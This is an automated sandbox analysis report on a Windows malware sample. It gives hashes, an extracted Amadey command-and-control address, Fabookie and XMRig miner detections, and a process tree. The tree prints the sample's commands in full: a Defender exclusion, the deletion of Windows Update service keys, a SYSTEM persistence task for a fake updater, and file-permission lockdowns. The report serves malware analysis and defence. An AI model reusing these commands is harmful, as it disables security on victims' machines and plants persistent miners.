Analysis
-
max time kernel
151s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20230621-en -
resource tags
arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system -
submitted
26/06/2023, 05:23
Static task
static1
Behavioral task
behavioral1
Sample
7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe
Resource
win7-20230621-en
General
-
Target
7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe
-
Size
4.3MB
-
MD5
12dc82a693eb598eb3aa521ffe54dc77
-
SHA1
f572e6ab69a35c374e8f8fba29f1b2d56972c9b2
-
SHA256
7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad
-
SHA512
b893c111eea7dd9ac358f8a664e9d28edb97e467e94b035412d7e3bf03ac27d8ac3d9fc4a89fc60a0481ae01a5e26f13956b0d43288e8f899784be87db87dda2
-
SSDEEP
98304:pZ8hpFxCj6kwJqphl6hBpNjPb2TX2LWMBL/m:pZCC5pP6h5TyD2LWMBT
Malware Config
Extracted
amadey
3.83
5.42.65.80/8bmeVwqx/index.php
Signatures
-
Detect Fabookie payload 2 IoCs
resource yara_rule behavioral2/memory/620-176-0x0000000002830000-0x0000000002961000-memory.dmp family_fabookie behavioral2/memory/620-180-0x0000000002830000-0x0000000002961000-memory.dmp family_fabookie -
Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
description pid Process procid_target PID 1516 created 3192 1516 XandETC.exe 43 PID 1516 created 3192 1516 XandETC.exe 43 PID 1516 created 3192 1516 XandETC.exe 43 PID 1516 created 3192 1516 XandETC.exe 43 PID 1516 created 3192 1516 XandETC.exe 43 PID 4184 created 3192 4184 updater.exe 43 PID 4184 created 3192 4184 updater.exe 43 PID 4184 created 3192 4184 updater.exe 43 PID 4184 created 3192 4184 updater.exe 43 PID 4184 created 3192 4184 updater.exe 43 PID 4716 created 3192 4716 conhost.exe 43 PID 4184 created 3192 4184 updater.exe 43 -
XMRig Miner payload 7 IoCs
resource yara_rule behavioral2/memory/4600-301-0x00007FF6431A0000-0x00007FF643994000-memory.dmp xmrig behavioral2/memory/4600-304-0x00007FF6431A0000-0x00007FF643994000-memory.dmp xmrig behavioral2/memory/4600-305-0x00007FF6431A0000-0x00007FF643994000-memory.dmp xmrig behavioral2/memory/4600-308-0x00007FF6431A0000-0x00007FF643994000-memory.dmp xmrig behavioral2/memory/4600-311-0x00007FF6431A0000-0x00007FF643994000-memory.dmp xmrig behavioral2/memory/4600-314-0x00007FF6431A0000-0x00007FF643994000-memory.dmp xmrig behavioral2/memory/4600-316-0x00007FF6431A0000-0x00007FF643994000-memory.dmp xmrig -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3259792829-1422303781-2047321929-1000\Control Panel\International\Geo\Nation 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe Key value queried \REGISTRY\USER\S-1-5-21-3259792829-1422303781-2047321929-1000\Control Panel\International\Geo\Nation oldplayer.exe Key value queried \REGISTRY\USER\S-1-5-21-3259792829-1422303781-2047321929-1000\Control Panel\International\Geo\Nation oneetx.exe -
Executes dropped EXE 7 IoCs
pid Process 620 aafg31.exe 1708 oldplayer.exe 1516 XandETC.exe 3900 oneetx.exe 4184 updater.exe 4000 oneetx.exe 2004 oneetx.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral2/memory/4600-301-0x00007FF6431A0000-0x00007FF643994000-memory.dmp upx behavioral2/memory/4600-304-0x00007FF6431A0000-0x00007FF643994000-memory.dmp upx behavioral2/memory/4600-305-0x00007FF6431A0000-0x00007FF643994000-memory.dmp upx behavioral2/memory/4600-308-0x00007FF6431A0000-0x00007FF643994000-memory.dmp upx behavioral2/memory/4600-311-0x00007FF6431A0000-0x00007FF643994000-memory.dmp upx behavioral2/memory/4600-314-0x00007FF6431A0000-0x00007FF643994000-memory.dmp upx behavioral2/memory/4600-316-0x00007FF6431A0000-0x00007FF643994000-memory.dmp upx -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4184 set thread context of 4716 4184 updater.exe 150 PID 4184 set thread context of 4600 4184 updater.exe 156 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Notepad\Chrome\updater.exe XandETC.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5116 sc.exe 2912 sc.exe 4148 sc.exe 4256 sc.exe 4084 sc.exe 2892 sc.exe 388 sc.exe 4296 sc.exe 4508 sc.exe 4160 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1508 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4804 WMIC.exe -
Kills process with taskkill 2 IoCs
pid Process 2996 taskkill.exe 3248 taskkill.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1516 XandETC.exe 1516 XandETC.exe 1680 powershell.exe 1680 powershell.exe 1516 XandETC.exe 1516 XandETC.exe 1516 XandETC.exe 1516 XandETC.exe 1516 XandETC.exe 1516 XandETC.exe 4728 powershell.exe 4728 powershell.exe 1516 XandETC.exe 1516 XandETC.exe 3000 powershell.exe 3000 powershell.exe 4184 updater.exe 4184 updater.exe 3916 powershell.exe 3916 powershell.exe 4184 updater.exe 4184 updater.exe 4184 updater.exe 4184 updater.exe 4184 updater.exe 4184 updater.exe 1944 powershell.exe 1944 powershell.exe 4184 updater.exe 4184 updater.exe 4716 conhost.exe 4716 conhost.exe 4184 updater.exe 4184 updater.exe 4184 updater.exe 4184 updater.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe 4600 conhost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3248 taskkill.exe Token: SeDebugPrivilege 2996 taskkill.exe Token: SeDebugPrivilege 1680 powershell.exe Token: SeShutdownPrivilege 3608 powercfg.exe Token: SeCreatePagefilePrivilege 3608 powercfg.exe Token: SeDebugPrivilege 4728 powershell.exe Token: SeShutdownPrivilege 1712 powercfg.exe Token: SeCreatePagefilePrivilege 1712 powercfg.exe Token: SeShutdownPrivilege 4408 powercfg.exe Token: SeCreatePagefilePrivilege 4408 powercfg.exe Token: SeShutdownPrivilege 1848 powercfg.exe Token: SeCreatePagefilePrivilege 1848 powercfg.exe Token: SeIncreaseQuotaPrivilege 4728 powershell.exe Token: SeSecurityPrivilege 4728 powershell.exe Token: SeTakeOwnershipPrivilege 4728 powershell.exe Token: SeLoadDriverPrivilege 4728 powershell.exe Token: SeSystemProfilePrivilege 4728 powershell.exe Token: SeSystemtimePrivilege 4728 powershell.exe Token: SeProfSingleProcessPrivilege 4728 powershell.exe Token: SeIncBasePriorityPrivilege 4728 powershell.exe Token: SeCreatePagefilePrivilege 4728 powershell.exe Token: SeBackupPrivilege 4728 powershell.exe Token: SeRestorePrivilege 4728 powershell.exe Token: SeShutdownPrivilege 4728 powershell.exe Token: SeDebugPrivilege 4728 powershell.exe Token: SeSystemEnvironmentPrivilege 4728 powershell.exe Token: SeRemoteShutdownPrivilege 4728 powershell.exe Token: SeUndockPrivilege 4728 powershell.exe Token: SeManageVolumePrivilege 4728 powershell.exe Token: 33 4728 powershell.exe Token: 34 4728 powershell.exe Token: 35 4728 powershell.exe Token: 36 4728 powershell.exe Token: SeIncreaseQuotaPrivilege 4728 powershell.exe Token: SeSecurityPrivilege 4728 powershell.exe Token: SeTakeOwnershipPrivilege 4728 powershell.exe Token: SeLoadDriverPrivilege 4728 powershell.exe Token: SeSystemProfilePrivilege 4728 powershell.exe Token: SeSystemtimePrivilege 4728 powershell.exe Token: SeProfSingleProcessPrivilege 4728 powershell.exe Token: SeIncBasePriorityPrivilege 4728 powershell.exe Token: SeCreatePagefilePrivilege 4728 powershell.exe Token: SeBackupPrivilege 4728 powershell.exe Token: SeRestorePrivilege 4728 powershell.exe Token: SeShutdownPrivilege 4728 powershell.exe Token: SeDebugPrivilege 4728 powershell.exe Token: SeSystemEnvironmentPrivilege 4728 powershell.exe Token: SeRemoteShutdownPrivilege 4728 powershell.exe Token: SeUndockPrivilege 4728 powershell.exe Token: SeManageVolumePrivilege 4728 powershell.exe Token: 33 4728 powershell.exe Token: 34 4728 powershell.exe Token: 35 4728 powershell.exe Token: 36 4728 powershell.exe Token: SeIncreaseQuotaPrivilege 4728 powershell.exe Token: SeSecurityPrivilege 4728 powershell.exe Token: SeTakeOwnershipPrivilege 4728 powershell.exe Token: SeLoadDriverPrivilege 4728 powershell.exe Token: SeSystemProfilePrivilege 4728 powershell.exe Token: SeSystemtimePrivilege 4728 powershell.exe Token: SeProfSingleProcessPrivilege 4728 powershell.exe Token: SeIncBasePriorityPrivilege 4728 powershell.exe Token: SeCreatePagefilePrivilege 4728 powershell.exe Token: SeBackupPrivilege 4728 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1708 oldplayer.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1364 wrote to memory of 620 1364 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe 81 PID 1364 wrote to memory of 620 1364 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe 81 PID 1364 wrote to memory of 1708 1364 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe 82 PID 1364 wrote to memory of 1708 1364 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe 82 PID 1364 wrote to memory of 1708 1364 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe 82 PID 1364 wrote to memory of 1516 1364 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe 83 PID 1364 wrote to memory of 1516 1364 7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe 83 PID 1708 wrote to memory of 3900 1708 oldplayer.exe 84 PID 1708 wrote to memory of 3900 1708 oldplayer.exe 84 PID 1708 wrote to memory of 3900 1708 oldplayer.exe 84 PID 3900 wrote to memory of 1508 3900 oneetx.exe 85 PID 3900 wrote to memory of 1508 3900 oneetx.exe 85 PID 3900 wrote to memory of 1508 3900 oneetx.exe 85 PID 3900 wrote to memory of 4680 3900 oneetx.exe 87 PID 3900 wrote to memory of 4680 3900 oneetx.exe 87 PID 3900 wrote to memory of 4680 3900 oneetx.exe 87 PID 4680 wrote to memory of 232 4680 cmd.exe 89 PID 4680 wrote to memory of 232 4680 cmd.exe 89 PID 4680 wrote to memory of 232 4680 cmd.exe 89 PID 4680 wrote to memory of 636 4680 cmd.exe 90 PID 4680 wrote to memory of 636 4680 cmd.exe 90 PID 4680 wrote to memory of 636 4680 cmd.exe 90 PID 4680 wrote to memory of 1832 4680 cmd.exe 91 PID 4680 wrote to memory of 1832 4680 cmd.exe 91 PID 4680 wrote to memory of 1832 4680 cmd.exe 91 PID 4680 wrote to memory of 3812 4680 cmd.exe 92 PID 4680 wrote to memory of 3812 4680 cmd.exe 92 PID 4680 wrote to memory of 3812 4680 cmd.exe 92 PID 4680 wrote to memory of 3820 4680 cmd.exe 93 PID 4680 wrote to memory of 3820 4680 cmd.exe 93 PID 4680 wrote to memory of 3820 4680 cmd.exe 93 PID 4680 wrote to memory of 4852 4680 cmd.exe 94 PID 4680 wrote to memory of 4852 4680 cmd.exe 94 PID 4680 wrote to memory of 4852 4680 cmd.exe 94 PID 620 wrote to memory of 2996 620 aafg31.exe 95 PID 620 wrote to memory of 2996 620 aafg31.exe 95 PID 620 wrote to memory of 3248 620 aafg31.exe 96 PID 620 wrote to memory of 3248 620 aafg31.exe 96 PID 3352 wrote to memory of 2912 3352 cmd.exe 109 PID 3352 wrote to memory of 2912 3352 cmd.exe 109 PID 3976 wrote to memory of 3608 3976 cmd.exe 110 PID 3976 wrote to memory of 3608 3976 cmd.exe 110 PID 3352 wrote to memory of 4296 3352 cmd.exe 111 PID 3352 wrote to memory of 4296 3352 cmd.exe 111 PID 3976 wrote to memory of 1712 3976 cmd.exe 112 PID 3976 wrote to memory of 1712 3976 cmd.exe 112 PID 3352 wrote to memory of 4148 3352 cmd.exe 113 PID 3352 wrote to memory of 4148 3352 cmd.exe 113 PID 3352 wrote to memory of 4508 3352 cmd.exe 115 PID 3352 wrote to memory of 4508 3352 cmd.exe 115 PID 3976 wrote to memory of 4408 3976 cmd.exe 114 PID 3976 wrote to memory of 4408 3976 cmd.exe 114 PID 3352 wrote to memory of 4160 3352 cmd.exe 116 PID 3352 wrote to memory of 4160 3352 cmd.exe 116 PID 3976 wrote to memory of 1848 3976 cmd.exe 117 PID 3976 wrote to memory of 1848 3976 cmd.exe 117 PID 3352 wrote to memory of 2320 3352 cmd.exe 118 PID 3352 wrote to memory of 2320 3352 cmd.exe 118 PID 3352 wrote to memory of 2404 3352 cmd.exe 119 PID 3352 wrote to memory of 2404 3352 cmd.exe 119 PID 3352 wrote to memory of 3332 3352 cmd.exe 120 PID 3352 wrote to memory of 3332 3352 cmd.exe 120 PID 3352 wrote to memory of 2228 3352 cmd.exe 121 PID 3352 wrote to memory of 2228 3352 cmd.exe 121 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3192
-
C:\Users\Admin\AppData\Local\Temp\7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe"C:\Users\Admin\AppData\Local\Temp\7d0417ec0e02002489cda78b4fd5d4dc57d4957a00287b4eb24c8cec8c68caad.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1364 -
C:\Users\Admin\AppData\Local\Temp\aafg31.exe"C:\Users\Admin\AppData\Local\Temp\aafg31.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:620 -
C:\Windows\SYSTEM32\taskkill.exetaskkill /IM chrome.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2996
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /IM msedge.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3248
-
-
-
C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1708 -
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3900 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F5⤵
- Creates scheduled task(s)
PID:1508
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit5⤵
- Suspicious use of WriteProcessMemory
PID:4680 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"6⤵PID:232
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "oneetx.exe" /P "Admin:N"6⤵PID:636
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "oneetx.exe" /P "Admin:R" /E6⤵PID:1832
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"6⤵PID:3812
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\207aa4515d" /P "Admin:N"6⤵PID:3820
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\207aa4515d" /P "Admin:R" /E6⤵PID:4852
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\XandETC.exe"C:\Users\Admin\AppData\Local\Temp\XandETC.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1516
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1680
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3352 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2912
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4296
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4148
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4508
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4160
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:2320
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:2404
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:3332
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2228
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:2864
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4728
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:3976 -
